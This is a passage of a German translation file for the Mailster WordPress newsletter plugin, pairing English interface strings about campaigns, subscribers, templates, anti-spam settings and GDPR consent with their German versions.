ist ein Fehler beim Laden der Vorlage aufgetreten: %s" #: classes/ajax.class.php:1927 msgid "There was an error using this template as default: %s" msgstr "Es gab einen Fehler bei der Verwendung dieser Vorlage als Standard: %s" #: classes/precheck.class.php:127 msgid "This address redirects to %s." msgstr "Diese Adresse leitet zu %s weiter." #: classes/precheck.class.php:169 msgid "This email doesn't contain images." msgstr "Diese E-Mail enthält keine Bilder." #: classes/precheck.class.php:138 msgid "This email doesn't contain links." msgstr "Diese E-Mail enthält keine Links." #: classes/campaigns.class.php:1792 msgid "%1$s Receivers for %2$s" msgstr "%1$s Empfänger für %2$s" #: views/settings/delivery.php:41 msgid "%d day" msgid_plural "%d days" msgstr[0] "%d Tag" msgstr[1] "%d Tage" #: classes/security.class.php:105 msgid "%d seconds" msgstr "%d Sekunden" #: classes/subscribers.class.php:274 classes/subscribers.class.php:276 msgid "%d subscriber has been removed!" msgid_plural "%d subscribers have been removed!" msgstr[0] "%d Abonnent wurde entfernt!" msgstr[1] "%d Abonnenten wurden entfernt!" #: classes/campaigns.class.php:1258 msgid "%d subscribers received this at least one time." msgstr "%d Abonnenten haben dies mindestens ein Mal erhalten." #: classes/precheck.class.php:44 msgid "A score above %s is considered spam." msgstr "Ein Ergebnis über %s wird als Spam angesehen." #: classes/addons.class.php:247 msgid "Activating..." msgstr "Aktivieren..." #: views/settings/security.php:12 msgid "Add an invisible input field to trick bots during signup." msgstr "Füge ein unsichtbares Eingabefeld hinzu, um Bots bei der Anmeldung auszutricksen." #: classes/addons.class.php:252 msgid "Add-on activated!" msgstr "Add-on aktiviert!" #: classes/addons.class.php:253 msgid "Add-on deactivated!" msgstr "Add-on deaktiviert!" #: classes/addons.class.php:254 msgid "Add-on has been updated!" msgstr "Das Add-on wurde aktualisiert!" #: classes/addons.class.php:251 msgid "Add-on installed!" msgstr "Add-on installiert!" #: views/addons.php:38 msgid "Add-on list" msgstr "Add-on-Liste" #: classes/addons.class.php:250 msgid "Add-on loaded!" msgstr "Add-on geladen!" #: classes/addons.class.php:303 msgid "Add-on successful loaded!" msgstr "Add-on erfolgreich geladen!" #: views/addons.php:2 msgid "Add-ons & Integrations for Mailster" msgstr "Add-ons & Integrationen für Mailster" #: classes/precheck.class.php:159 msgid "Alt text" msgstr "Alttext" #: views/settings/security.php:19 msgid "Antiflood" msgstr "Antiflood" #: views/forms/detail.php:366 msgid "Assign following tags to subscribers who signup via this form." msgstr "Weise den Abonnenten, die sich über dieses Formular anmelden, folgende Tags zu." #: classes/precheck.class.php:197 msgid "Attachments" msgstr "Anhänge" #: views/addons.php:22 views/templates.php:28 msgid "Author" msgstr "Autor" #: views/settings/security.php:25 msgid "Auto Click Prevention" msgstr "Auto Click Prevention" #: classes/update.class.php:67 msgid "Automatic Updates are not enabled for Mailster!" msgstr "Automatische Updates sind für Mailster nicht aktiviert!" #: views/settings/security.php:44 msgid "Blocked Domains" msgstr "Gesperrte Domains" #: views/settings/security.php:37 msgid "Blocked Email Addresses" msgstr "Gesperrte E-Mail-Adressen" #: views/settings/security.php:51 msgid "Blocked IP Addresses" msgstr "Gesperrte IP-Adressen" #: views/addons/addon.php:75 msgid "Buy Add on" msgstr "Add on kaufen" #: views/templates/template.php:104 msgid "Buy Template" msgstr "Vorlage kaufen" #: views/addons/addon.php:58 views/templates/template.php:75 msgid "By %s" msgstr "Von %s" #: views/newsletter/precheck.php:34 msgid "Change the user in the preview." msgstr "Ändere den Benutzer in der Vorschau." #: classes/precheck.class.php:194 classes/precheck.class.php:210 msgid "Characters" msgstr "Zeichen" #: views/settings/security.php:5 msgid "Check MX record" msgstr "MX-Eintrag prüfen" #: classes/campaigns.class.php:1719 msgid "Check for delivery." msgstr "Überprüfe die Zustellung." #: views/settings/security.php:5 msgid "Check the domain for an existing MX record. A missing MX record often indicates that there's no email server setup for the domain." msgstr "Überprüfe die Domain auf einen vorhandenen MX-Eintrag. Ein fehlender MX-Eintrag bedeutet oft, dass für die Domain kein E-Mail-Server eingerichtet ist." #: views/settings/security.php:9 msgid "Check via Akismet" msgstr "Kontrolle über Akismet" #: views/settings/security.php:9 msgid "Checks via your Akismet installation." msgstr "Kontrolliert mithilfe deine Akismet-Installation." #: classes/forms.class.php:241 classes/mailster.class.php:1616 #: classes/manage.class.php:118 classes/subscribers.class.php:91 msgid "Choose your tags." msgstr "Wähle deine Tags." #: views/addons.php:47 views/templates.php:53 msgid "Close details dialog" msgstr "Detaildialog schließen" #: classes/campaigns.class.php:1716 msgid "Collecting results..." msgstr "Sammeln der Ergebnissen..." #: views/settings/security.php:7 msgid "Connects the domain's SMTP server to check if the address really exists." msgstr "Stellt eine Verbindung zum SMTP-Server der Domäne her, um zu prüfen, ob die Adresse wirklich existiert." #: views/newsletter/delivery.php:465 msgid "Create a new campaign based on this auto responder" msgstr "Erstelle eine neue Kampagne, die auf diesem Auto-Responder basiert" #: views/templates/sample.php:56 views/templates/template.php:80 msgid "Current" msgstr "Aktuell" #: classes/queue.class.php:1023 msgid "Database update required!" msgstr "Datenbank-Update erforderlich!" #: classes/addons.class.php:248 msgid "Deactivating..." msgstr "Deaktivieren..." #: classes/subscribers.table.class.php:335 msgid "Delete (with Activities)" msgstr "Löschen (mit Aktivitäten)" #: views/subscribers/detail.php:74 msgid "Delete Subscriber and Activities" msgstr "Abonnent mit Aktivitäten löschen" #: views/addons.php:11 msgctxt "add-ons" msgid "Delivery" msgstr "Versand" #: views/addons/addon.php:57 views/templates/template.php:74 msgid "Details & Preview" msgstr "Details & Vorschau" #: views/addons.php:69 views/templates.php:90 msgid "Disclosure: Some of the links on this page are affiliate links. This means if you click on the link and purchase the item, we may receive an affiliate commission." msgstr "Offenlegung: Einige der Links auf dieser Seite sind Affiliate-Links. Das bedeutet, wenn du auf den Link klickst und den Artikel kaufst, erhalten wir möglicherweise eine Affiliate-Provision." #: views/settings/security.php:31 msgid "Disposable Email Provider" msgstr "Wegwerf-E-Mail-Anbieter" #: views/settings/delivery.php:12 msgid "ESP Limits" msgstr "ESP Limits" #: views/addons.php:13 msgctxt "add-ons" msgid "Ecommerce" msgstr "E-Commerce" #: views/templates.php:79 msgid "Edit File" msgstr "Datei bearbeiten" #: classes/templates.class.php:877 msgid "Editing template file %1$s for %2$s" msgstr "Bearbeiten der Vorlagendatei %1$s für %2$s" #: views/dashboard/mb-mailster.php:43 msgid "Enable Auto Update" msgstr "Automatisches Update aktivieren" #: classes/update.class.php:65 msgid "Enable Auto Updates for Mailster" msgstr "Automatische Updates für Mailster aktivieren" #: views/settings/security.php:27 msgid "Enable this option to add an additional redirect for clicks which happens after a short time after sending." msgstr "Aktiviere diese Option, um eine zusätzliche Weiterleitung für Klicks hinzuzufügen, die nach einer kurzen Zeit nach dem Senden erfolgen." #: views/templates.php:17 msgctxt "templates" msgid "Featured" msgstr "Featured" #: views/addons.php:4 msgid "Filter addon list" msgstr "Addon-Liste filtern" #: views/templates.php:7 msgid "Filter template list" msgstr "Vorlagenliste filtern" #: views/newsletter/template.php:51 msgid "Find the missing template file." msgstr "Finde die fehlende Vorlagendatei." #: views/addons.php:12 msgctxt "add-ons" msgid "Forms" msgstr "Formulare" #: views/templates.php:15 msgctxt "templates" msgid "Free" msgstr "Kostenlos" #: views/newsletter/precheck.php:32 msgid "From" msgstr "Von" #: views/settings/security.php:3 msgid "General Checks" msgstr "Allgemeine Checks" #: views/newsletter/precheck.php:77 msgid "Go to Dashboard" msgstr "Zum Dashboard gehen" #: views/settings/security.php:12 msgid "Honeypot" msgstr "Honeypot" #: views/newsletter/precheck.php:70 msgid "I've read the Terms of Service and agree." msgstr "Ich habe die Nutzungsbedingungen gelesen und bin damit einverstanden." #: views/settings/security.php:14 msgid "IP Check" msgstr "IP-Check" #: views/settings/advanced.php:6 msgid "If you enable this option your campaigns contain a small logo of Mailster at the very bottom of the email." msgstr "Wenn du diese Option aktivierst, enthalten deine Kampagnen ganz unten in der E-Mail ein kleines Logo von Mailster." #: classes/precheck.class.php:196 msgid "Image Ratio" msgstr "Image Ratio" #: classes/precheck.class.php:195 views/newsletter/precheck.php:107 msgid "Images" msgstr "Bilder" #: views/addons/addon.php:70 msgid "Install now" msgstr "Jetzt installieren" #: views/templates/template.php:82 msgid "Installed" msgstr "Installiert" #: views/templates.php:14 msgctxt "templates" msgid "Installed" msgstr "Installiert" #: classes/addons.class.php:246 msgid "Installing..." msgstr "Installieren..." #: views/addons.php:21 views/templates.php:27 msgid "Keyword" msgstr "Schlüsselwort" #: views/subscribers/detail.php:94 msgid "Last Update: %s ago." msgstr "Letzte Aktualisierung: vor %s." #: views/templates.php:19 msgctxt "templates" msgid "Latest" msgstr "Neueste" #: views/newsletter/precheck.php:103 msgid "Links" msgstr "Links" #: classes/dashboard.class.php:255 views/dashboard/mb-quicklinks.php:20 msgctxt "number of" msgid "Autoresponder" msgid_plural "Autoresponders" msgstr[0] "Autoresponder" msgstr[1] "Autoresponders" #: classes/dashboard.class.php:251 views/dashboard/mb-quicklinks.php:19 msgctxt "number of" msgid "Campaign" msgid_plural "Campaigns" msgstr[0] "Kampagne" msgstr[1] "Kampagnen" #: views/settings/advanced.php:18 msgid "Check this option to process short codes. This may cause unexpected results." msgstr "Wähle diese Option falls Shortcodes verarbeitet werden sollen. Dies kann zu unerwarteten Ergebnisse führen." #: views/dashboard/mb-quicklinks.php:56 msgctxt "number of" msgid "Form" msgid_plural "Forms" msgstr[0] "Formular" msgstr[1] "Formulare" #: views/dashboard/mb-quicklinks.php:48 msgctxt "number of" msgid "List" msgid_plural "Lists" msgstr[0] "Liste" msgstr[1] "Listen" #: views/dashboard/mb-mailster.php:23 msgid "Please verify your Mailster account!" msgstr "Bitte verifiziere deinen Mailsterkonto!" #: views/settings/advanced.php:18 msgid "Process short codes in emails." msgstr "Shortcodes in E-Mails verarbeiten." #: views/settings/advanced.php:17 msgid "Short Codes" msgstr "Short Codes" #: classes/dashboard.class.php:259 views/dashboard/mb-quicklinks.php:38 #: views/dashboard/mb-subscribers.php:14 msgctxt "number of" msgid "Subscriber" msgid_plural "Subscribers" msgstr[0] "Abonnent" msgstr[1] "Abonnenten" #: views/dashboard/mb-mailster.php:20 msgid "Verified License" msgstr "Verifizierte Lizenz" #: classes/lists.table.class.php:148 msgid "%s subscribed" msgstr "%s abonniert" #: classes/campaigns.class.php:1790 classes/campaigns.class.php:1794 msgid "+ %d unknown locations" msgstr "+ %d unbekannte Orte" #: views/settings/subscribers.php:51 msgid "Allow Subscribers to opt out from their mail application if applicable." msgstr "Erlaube Abonnenten wenn möglich sich mithilfe ihres E-Mailprogramms abzumelden." #: views/newsletter/editbar.php:87 views/newsletter/editbar.php:198 msgid "Alternative Text" msgstr "Alternativer Text" #: classes/addons.class.php:279 classes/templates.class.php:903 msgid "Buy %1$s from %2$s now!" msgstr "Kaufe %1$s von %2$s jetzt!" #: includes/functions.php:1334 includes/functions.php:1358 msgid "Custom Mailster styles should be added by using the %s action. Please check the documentation." msgstr "Eigene Mailster Styles sollten mit der %s Aktion hinzugefügt werden. Bitte lese die Dokumentation." #: includes/functions.php:1263 msgid "Custom Mailster tags should be added by using the %s action. Please check the documentation." msgstr "Eigene Mailster Tags sollten mit der %s Aktion hinzugefügt werden. Bitte lese die Dokumentation." #: includes/functions.php:1305 msgid "Custom Mailster tags should be removed by using the %s action. Please check the documentation." msgstr "Eigene Mailster Tags sollten mit der %s Aktion entfernt werden. Bitte lese die Dokumentation." #: classes/campaigns.class.php:1602 msgid "Do you really like to finish selected campaigns?" msgstr "Willst du die ausgewählten Kampagnen wirklich beenden?" #: classes/campaigns.class.php:1603 msgid "Do you really like to start selected campaigns?" msgstr "Willst du die ausgewählten Kampagnen wirklich starten?" #: views/settings/texts.php:62 msgid "Error text" msgstr "Fehlertext" #: views/settings/texts.php:59 msgid "GDPR" msgstr "DSGVO" #: views/newsletter/editbar.php:169 msgid "Image height" msgstr "Bildhöhe" #: views/newsletter/editbar.php:169 msgid "Image width" msgstr "Bildbreite" #: views/newsletter/editbar.php:97 msgid "Link of the button" msgstr "Link des Buttons" #: views/settings/subscribers.php:50 msgid "Mail App Unsubscribe" msgstr "Abmelden innerhalb des E-Mailprogramms" #: views/admin_header.php:34 msgid "New" msgstr "Neu" #: classes/queue.class.php:645 msgid "New campaign %1$s has been created and is going to be sent on %2$s." msgstr "Neue Kampagne %1$s wurde erstellt und wird im %2$s gesendet." #: classes/queue.class.php:1149 msgid "Not in time frame!" msgstr "Außerhalb des Zeitfensters!" #: views/newsletter/delivery.php:336 msgid "Only %1$s after %2$s count." msgstr "Nur %1$s nach %2$s zählt." #: classes/templates.class.php:899 msgid "Please make sure you have signed in to the account you have purchased the template!" msgstr "Bitte stelle sicher, dass du dich mit dem Konto mit dem du das Template gekauft hast angemeldet bist. " #: classes/queue.class.php:1226 msgid "Prevent to send duplicate within one minute." msgstr "Sende keine Duplikate innerhalb einer Minute." #: classes/settings.class.php:1613 views/setup/delivery.php:16 msgid "Sending via your host is not recommended. Please consider using a dedicate Email Service Provider instead." msgstr "Mit deinem Provider zu senden ist nich empfohlen. Bitte überlege die Verwendung eines professionellen E-Mail Provider." #: views/settings/texts.php:61 msgid "Terms confirmation text" msgstr "Nutzungsbedingungen bestätigen" #: includes/updates.php:585 msgid "The Gmail Sending Method is deprecated and will soon not work anymore! Please update to the new plugin %1$s and follow our setup guide %2$s." msgstr "Die Gmail Sending Methode ist veraltet und wird bald nicht mehr funktionieren! Bitte aktualisiere auf das neue Plugin %1$s und folge unserer Einrichtungsanleitung %2$s." #: classes/helper.class.php:1608 msgid "The server responded with error code %d." msgstr "Der Server antwortete mit der Fehlermeldung %d." #: classes/campaigns.class.php:5145 msgid "There was an error during replacing tags in this campaign! %s" msgstr "Es ist ein Fehler während dem Ersetzen der Tags in dieser Kampagne aufgetreten! %s" #: classes/helper.class.php:1613 msgid "There's a problem receiving the feed from `%1$s`: %2$s" msgstr "Es gab ein Problem beim Laden des Feeds von `%1$s`: %2$s" #: views/newsletter/editbar.php:170 msgid "Toggle crop option" msgstr "Bild beschneiden" #: classes/addons.class.php:280 classes/templates.class.php:904 msgid "Visit Envato Account" msgstr "Envato besuchen" #: classes/campaigns.class.php:622 classes/campaigns.class.php:1466 msgid "You are not allowed to resume this campaign." msgstr "Du darfst diese Kampagne nicht fortsetzen." #: views/settings/privacy.php:66 msgid "You can define Texts on the %s settings tab." msgstr "Du kannst Texte auf der Registerkarte %s Einstellungen definieren." #: classes/dashboard.class.php:215 msgid "You can reset your license up to three times!" msgstr "Du kannst deine Lizenz maximal drei mal zurücksetzten!" #: classes/subscribers.class.php:1238 msgid "You must define an email address." msgstr "Du must eine E-Mailadresse angeben." #: views/newsletter/editbar.php:347 msgid "use High DPI image" msgstr "verwende Bilder mit High DPI" #: views/settings/advanced.php:38 msgid "Enable legacy hooks" msgstr "Legacy Hooks aktivieren" #: views/settings/advanced.php:38 msgid "If you still use deprecated MyMail hooks and filters you can keep them working by enabling this option." msgstr "Falls du noch veraltete MyMail hooks und filter verwendest, kannst du diese Option aktivieren." #: views/settings/advanced.php:37 msgid "Legacy Hooks" msgstr "Legacy Hooks" #: includes/3rdparty.php:52 includes/3rdparty.php:88 msgid "Mailster Campaigns do not support the %s." msgstr "Mailster Kampagnen unterstützen %s nicht." #: classes/manage.class.php:407 msgid "The status will be applied to contacts if no other is defined via the columns." msgstr "Dieser Status wird bei Kontakte verwendet, falls kein andere in den Spalten bestimmt wurde." #: classes/manage.class.php:415 msgid "will overwrite all values of the contact. Status will be overwritten." msgstr "überschriebt alle Werte des Kontakts. Status wird überschrieben." #: classes/manage.class.php:416 msgid "will overwrite only defined values and keep old ones. Status will not be changed unless defined via the columns." msgstr "überschreibt nur definierte Werte und behält vorhanden. Status wird nicht geändert solange in den Spalten keiner bestimmt wurde." #: classes/manage.class.php:414 msgid "will skip the contact if the email address already exists. Status will not be changed." msgstr "überspringt den Kontakt, falls die E-Mailadresse bereits existiert. Status wird nicht geändert." #: views/settings/general.php:51 msgid "ignore" msgstr "ignoriere" #: views/settings/general.php:52 msgid "respect" msgstr "respektiere" #: views/settings/general.php:54 msgid "third party content type settings." msgstr "Content Type Einstellungen von dritten." #: views/newsletter/editbar.php:269 msgid "10th random" msgstr "10. zufälliger" #: views/newsletter/editbar.php:270 msgid "11th random" msgstr "11. zufälliger" #: views/newsletter/editbar.php:271 msgid "12th random" msgstr "12. zufälliger" #: views/newsletter/editbar.php:260 msgid "1st random" msgstr "1. zufälliger" #: views/newsletter/editbar.php:261 msgid "2nd random" msgstr "2. zufälliger" #: views/newsletter/editbar.php:262 msgid "3rd random" msgstr "3. zufälliger" #: views/newsletter/editbar.php:263 msgid "4th random" msgstr "4. zufälliger" #: views/newsletter/editbar.php:264 msgid "5th random" msgstr "5. zufälliger" #: views/newsletter/editbar.php:265 msgid "6th random" msgstr "6. zufälliger" #: views/newsletter/editbar.php:266 msgid "7th random" msgstr "7. zufälliger" #: views/newsletter/editbar.php:267 msgid "8th random" msgstr "8. zufälliger" #: views/newsletter/editbar.php:268 msgid "9th random" msgstr "9. zufälliger" #: views/newsletter/submit.php:100 msgid "Clear Queue of this auto responder." msgstr "Lösche die Warteschlange für diesen Autoresponder." #: classes/helper.class.php:2108 msgid "Command not supported" msgstr "Befehl nicht unterstützt" #: classes/campaigns.class.php:4568 msgid "Deleted Subscribers are not listed." msgstr "Gelöschte Abonnenten werden nicht gezeigt." #: views/newsletter/editbar.php:323 msgid "Different identifier will never display the same post in the same campaign." msgstr "Unterschiedliche Werte zeigen nie den selben Beitrag in der selben Kampagne." #: classes/helper.class.php:1734 msgid "Feed item #%d does not exist" msgstr "Feed #%d existiert nicht" #: classes/templates.class.php:471 msgid "Following files have been removed during upload:" msgstr "Folgende Dateien wurden nach dem Upload entfernt:" #: classes/subscribers.class.php:1955 msgid "Form Key" msgstr "Form Schlüssel" #: views/newsletter/delivery.php:513 msgid "Hooks can get triggered multiple times and cause multiple emails." msgstr "Hooks können mehrmals angestoßen werden und mehrere E-Mails senden." #: classes/ajax.class.php:1523 classes/ajax.class.php:1576 msgid "Load more entries" msgstr "Lade mehr Einträge" #: views/newsletter/editbar.php:181 msgid "Media Library" msgstr "Medienbibliothek" #: classes/ajax.class.php:1699 classes/ajax.class.php:1702 msgid "No Title" msgstr "Kein Titel" #: classes/ajax.class.php:1697 msgid "No title" msgstr "Kein Titel" #: classes/templates.class.php:878 msgid "Old template files will be preserved in the templates folder." msgstr "Alte Templatedateien werden im Templateordner gespeichert." #: classes/helper.class.php:692 msgid "Plain Text (no template file)" msgstr "Einfacher Text (keine Templatedatei)" #: classes/campaigns.class.php:1091 views/newsletter/delivery.php:195 #: views/newsletter/delivery.php:324 views/newsletter/editbar.php:297 msgid "RSS Feed" msgstr "RSS Feed" #: views/newsletter/delivery.php:295 views/newsletter/delivery.php:324 msgid "RSS Feeds" msgstr "RSS Feeds" #: views/newsletter/editbar.php:281 msgid "Random" msgstr "Zufällig" #: views/newsletter/editbar.php:322 msgid "Random tags will display a random content while the number is used as an identifier. Same identifier will display content from the same post." msgstr "Random Tags zeigen einen zufälligen Inhalt wobei die Zahl als Identifikation verwendet wird. Die selbe Zahl zeigt auch den Inhalt vom selben Beitrag. " #: views/newsletter/editbar.php:275 msgid "Relative" msgstr "Relativ" #: views/newsletter/submit.php:100 msgid "Removes all pending entries from this campaign in the queue." msgstr "Entfernt alle anstehenden Einträge für diese Kampagne aus der Warteschlange." #: views/settings/bounce.php:37 msgid "Secure" msgstr "Sichere Verbindung" #: classes/helper.class.php:1659 msgid "The feed only contains %d items" msgstr "Dieser Feed enthält nur %d Einträge" #: classes/ajax.class.php:1706 msgid "There's currently no match for your selection!" msgstr "Zur Zeit gibt es keine Übereinstimmung für deine Auswahl!" #: views/dashboard/mb-mailster.php:78 msgid "Update Translation" msgstr "Übersetzung aktualisieren" #: views/newsletter/delivery.php:511 msgid "allow multiple triggers" msgstr "mehrere Auslöser akzeptieren " #: classes/ajax.class.php:1497 msgid "by %s" msgstr "von %s" #: views/newsletter/details.php:135 msgid "deleted" msgstr "gelöscht" #: classes/campaigns.class.php:1758 msgid "Add repeater" msgstr "Repeater hinzufügen" #: classes/campaigns.class.php:1767 msgid "Area %s" msgstr "Bereich %s" #: views/dialogs/deactivation.php:47 msgid "Delete Campaigns" msgstr "Kampagnen löschen" #: views/dialogs/deactivation.php:48 msgid "Delete Capabilities" msgstr "Berechtigungen löschen" #: views/dialogs/deactivation.php:51 msgid "Delete Files" msgstr "Dateien löschen" #: views/dialogs/deactivation.php:50 msgid "Delete Options" msgstr "Optionen löschen" #: views/dialogs/deactivation.php:49 msgid "Delete Tables" msgstr "Tabellen löschen" #: classes/settings.class.php:1340 msgid "Do you like to send your campaigns with %1$s? Please use our %2$s." msgstr "Möchtest du deinen Kampagnen mit %1$s versenden? Bitte verwende unsere %2$s." #: views/dialogs/deactivation.php:28 msgid "I found a better plugin." msgstr "Ich hab ein besseres Plugin gefunden." #: views/dialogs/deactivation.php:11 msgid "I no longer need the plugin." msgstr "Ich brauche das Plugin nicht mehr." #: views/dialogs/deactivation.php:6 msgid "If you have a moment, please let us know why you are deactivating Mailster. We only use this feedback to improve the plugin." msgstr "Bitte teile uns mit warum du Mailster deaktivierst. Wir verwenden dieses Feedback nur um das Plugin zu verbessern." #: views/dialogs/deactivation.php:8 msgid "It's a temporary deactivation." msgstr "Es ist nur kurzfristig." #: views/dialogs/deactivation.php:1 msgid "Mailster Deactivation" msgstr "Mailster Deaktivierung" #: views/dialogs/deactivation.php:53 msgid "Mailster does not delete any data on plugin deactivation by default. If you like to start with a fresh setup you can check this option and Mailster will remove all campaigns, subscribers, actions and other data in your database." msgstr "Mailster löscht standardmäßig keine Daten beim Deaktivieren. Falls du mit einer neuen Installation beginnen möchtest, kannst du diese Option aktivieren und Mailster wird alle Kampagnen, Abonnenten, Aktionen und andere Daten in deiner Datenbank entfernen." #: views/dialogs/deactivation.php:53 msgid "Note: This will permanently delete all Mailster data from your database." msgstr "Beachte: Dies löscht alle Daten von Mailster in deiner Datenbank." #: views/dialogs/deactivation.php:37 msgid "Please describe why you're deactivating Mailster." msgstr "Bitte erzähle uns warum du Mailster deaktivierst." #: classes/tinymce.class.php:151 views/newsletter/editbar.php:349 msgid "Remove Element" msgstr "Element entfernen" #: classes/campaigns.class.php:1759 msgid "Remove repeater" msgstr "Repeater entfernen" #: classes/update.class.php:47 msgid "Thanks, we'll respect your opinion. You can always opt in anytime on the advanced tab in the settings!" msgstr "Danke, wir respektieren deine Entscheidung. Du kannst jederzeit die Einstellung dafür in den Einstellungen ändern!" #: views/newsletter/editbar.php:209 msgid "The area in which content gets placed." msgstr "Der Bereich, in dem Inhalt eingefügt wird." #: views/dialogs/deactivation.php:21 msgid "The plugin broke my site." msgstr "Das Plugin hat meine Seite unbrauchbar gemacht." #: views/dialogs/deactivation.php:14 msgid "The plugin didn't work." msgstr "Das Plugin funktioniert nicht." #: classes/campaigns.class.php:2627 classes/campaigns.class.php:2662 #: classes/campaigns.class.php:2714 classes/campaigns.class.php:2769 #: classes/campaigns.class.php:2857 classes/campaigns.class.php:2932 #: classes/campaigns.class.php:3121 classes/campaigns.class.php:3167 #: classes/campaigns.class.php:3211 classes/campaigns.class.php:3301 #: classes/campaigns.class.php:3318 msgid "This campaign doesn't exists." msgstr "Die Kampagne existiert nicht." #: classes/campaigns.class.php:3215 msgid "This campaign is not an autoresponder." msgstr "Diese Kampagne ist kein Autoresponder." #: views/dialogs/deactivation.php:16 views/dialogs/deactivation.php:23 msgid "We're sorry about that. Please get in touch with our %s." msgstr "Es tut uns leid das zu hören. Bitte kontaktiere unseren %s." #: views/dialogs/deactivation.php:30 msgid "What is the name of the plugin?" msgstr "Wie heißt das Plugin?" #: views/dialogs/deactivation.php:44 msgid "Would you like to delete all data?" msgstr "Willst du sämtliche Daten löschen?" #: classes/campaigns.class.php:640 classes/campaigns.class.php:1491 msgid "You are not allowed to activate this campaign." msgstr "Du darfst diese Kampagne nicht aktivieren." #: classes/campaigns.class.php:649 classes/campaigns.class.php:1499 msgid "You are not allowed to deactivate this campaign." msgstr "Du darfst diese Kampagne nicht deaktivieren." #: views/dialogs/deactivation.php:16 views/dialogs/deactivation.php:23 msgid "support" msgstr "Support" #: classes/settings.class.php:78 msgctxt "[Name] from [Blogname]" msgid "%1$s from %2$s" msgstr "%1$s von %2$s" #: classes/settings.class.php:1341 msgid "%s Add-on" msgstr "%s Addon" #: classes/campaigns.class.php:1739 classes/manage.class.php:379 msgid "Add" msgstr "Hinzufügen" #: views/dashboard/mb-mailster.php:75 views/dashboard/mb-mailster.php:76 msgctxt "Your language" msgid "Thanks for using Mailster in %s!" msgstr "Danke, dass du Mailster in %s verwendest!" #: classes/dashboard.class.php:219 msgid "Complete. Reload page!" msgstr "Fertig. Bitte Seite neu laden!" #: views/dashboard/mb-mailster.php:84 msgid "Currently %s translated." msgstr "Zur Zeit %s übersetzt." #: views/settings/authentication.php:38 msgid "Loading DKIM data" msgstr "Lade DKIM Daten" #: views/settings/authentication.php:19 msgid "Loading SPF data" msgstr "Lade SPF Daten" #: views/dashboard/mb-mailster.php:81 msgid "Mailster is available in %s!" msgstr "Mailster ist in %s verfügbar!" #: classes/tests.class.php:125 msgid "Test again" msgstr "Noch einmal testen" #: classes/forms.class.php:136 msgid "This is a success message" msgstr "Das ist eine positive Meldung" #: views/dashboard/mb-mailster.php:73 msgid "Translation" msgstr "Übersetzung" #: views/newsletter/editbar.php:344 msgid "Use original image" msgstr "Verwende das Original" #: classes/conditions.class.php:361 msgid "is in List" msgstr "ist in der Liste" #: views/newsletter/editbar.php:343 msgid "use the original image file and prevent cropping/modifing the image." msgstr "verwende das Originalbild und verhindere das Beschneiden oder Verändern des Bildes." #: includes/wp_mail.php:71 msgid "Plugin Name" msgstr "Plugin Name" #: classes/mailster.class.php:1619 classes/manage.class.php:126 msgid "Delete %s Subscribers permanently" msgstr "%s Abonnenten permanent löschen" #: includes/wp_mail.php:27 msgid "The %s method already exists from a different plugin! Please disable it before using Mailster for system mails!" msgstr "Die %s Methode existiert bereits von einem anderen Plugin! Bitte deaktiviere dieses bevor du Mailster für diese Mails verwenden kannst!" #: classes/conditions.class.php:669 classes/conditions.class.php:957 msgid "Any Campaign" msgstr "Beliebige Kampagne" #: classes/conditions.class.php:524 msgid "Any Campaigns within the last 12 months" msgstr "Eine beliebige Kampagne in den letzten 12 Monaten" #: classes/conditions.class.php:523 msgid "Any Campaigns within the last 6 months" msgstr "Eine beliebige Kampagne in den letzten 6 Monaten" #: views/settings/advanced.php:33 msgid "Check if you have a heavy cached page and problems with invalid Security Nonce." msgstr "Diese Option wählen falls du Probleme mit ungültigen \"Nonces\" hast bei gecachten Seiten." #: classes/privacy.class.php:294 msgid "The Privacy page link has been changed to %s" msgstr "Der Link zur Datenschutzseite hat sich geändert zu %s" #: classes/export.class.php:66 classes/mailster.class.php:3275 msgid "Updating Mailster tables for Campaign %s:" msgstr "Aktualisiere Mailstertabellen für Kampagne %s:" #: views/settings/advanced.php:33 msgid "Use on internal forms." msgstr "Für interne Formulare verwenden." #: classes/export.class.php:74 classes/mailster.class.php:3283 msgid "completed for %d rows." msgstr "fertiggestellt für %d Reihen." #: classes/conditions.class.php:599 classes/conditions.class.php:931 msgid "in" msgstr "in" #: classes/form.class.php:878 classes/rest-controller/rest.form.class.php:225 msgid "Honeypot is for bears only!" msgstr "Der Honigtopf ist nur für Bären!" #: views/settings/privacy.php:37 msgid "Load Location Database manually" msgstr "Geodatenbank manuell laden" #: views/settings/privacy.php:36 msgid "Looks like the location database hasn't been loaded yet!" msgstr "Anscheinend wurde die Geodatenbank noch nicht geladen!" #: views/settings/privacy.php:56 msgid "Custom Tags in web version" msgstr "Benutzerdefinierte Felder in der Webansicht" #: views/settings/privacy.php:58 msgid "Mailster can display custom tags from subscribers on the web version of your campaigns. They will only get displayed if they click a link in the newsletter." msgstr "Mailster kann Tags von Abonnenten in der Webansicht deinen Kampagnen zeigen. Diese werden nur gezeigt wenn ein Link im Newsletter geklickt wurde." #: views/newsletter/submit.php:22 msgid "Offer a public web version for this campaign. If disabled this campaign will be marked as \"private\"" msgstr "Biete eine öffentliche Version dieser Kampagne an. Wenn diese Option deaktiviert ist wird die Kampagne als \"privat\" markiert." #: views/settings/privacy.php:57 msgid "Show subscribers tags in web version." msgstr "Zeige benutzerdefinierte Felder in der Webansicht." #: classes/manage.class.php:269 classes/subscribers.class.php:1950 msgid "Timeoffset to UTC" msgstr "Zeitabstand zu GMT" #: classes/subscribers.class.php:1944 msgid "Clientversion" msgstr "Version des Klienten" #: views/subscribers/detail.php:169 msgid "Consent given (GDPR)" msgstr "Zustimmung gegeben (DSGVO)" #: classes/subscribers.class.php:1941 msgid "Coordinates" msgstr "Koordinaten" #: classes/conditions.class.php:243 msgid "GDPR Consent given" msgstr "DSGVO Zustimmung gegeben" #: classes/subscribers.class.php:1953 msgid "GDPR Timestamp" msgstr "DSGVO Zeitstempel" #: classes/subscribers.class.php:1946 msgid "IP address" msgstr "IP Adresse" #: classes/tests.class.php:612 msgid "The form with id %1$s doesn't exist. Please update %2$s." msgstr "Das Formular mit der ID %1$s existiert nicht. Bitte aktualisiere %2$s." #: classes/subscribers.class.php:1943 msgid "Type of Client" msgstr "Art des Klienten" #: views/settings/privacy.php:64 msgid "Add a checkbox on your forms for user consent." msgstr "Füge eine Checkbox zu deinen Formularen hinzu, um die Zustimmung deiner Benutzer zu erhalten." #: classes/privacy.class.php:215 build/workflows/email/index.js:1 msgid "Clicked" msgstr "Geklickt" #: classes/privacy.class.php:170 msgid "Confirmed" msgstr "Bestätigt" #: views/settings/privacy.php:63 msgid "GDPR Compliance Forms" msgstr 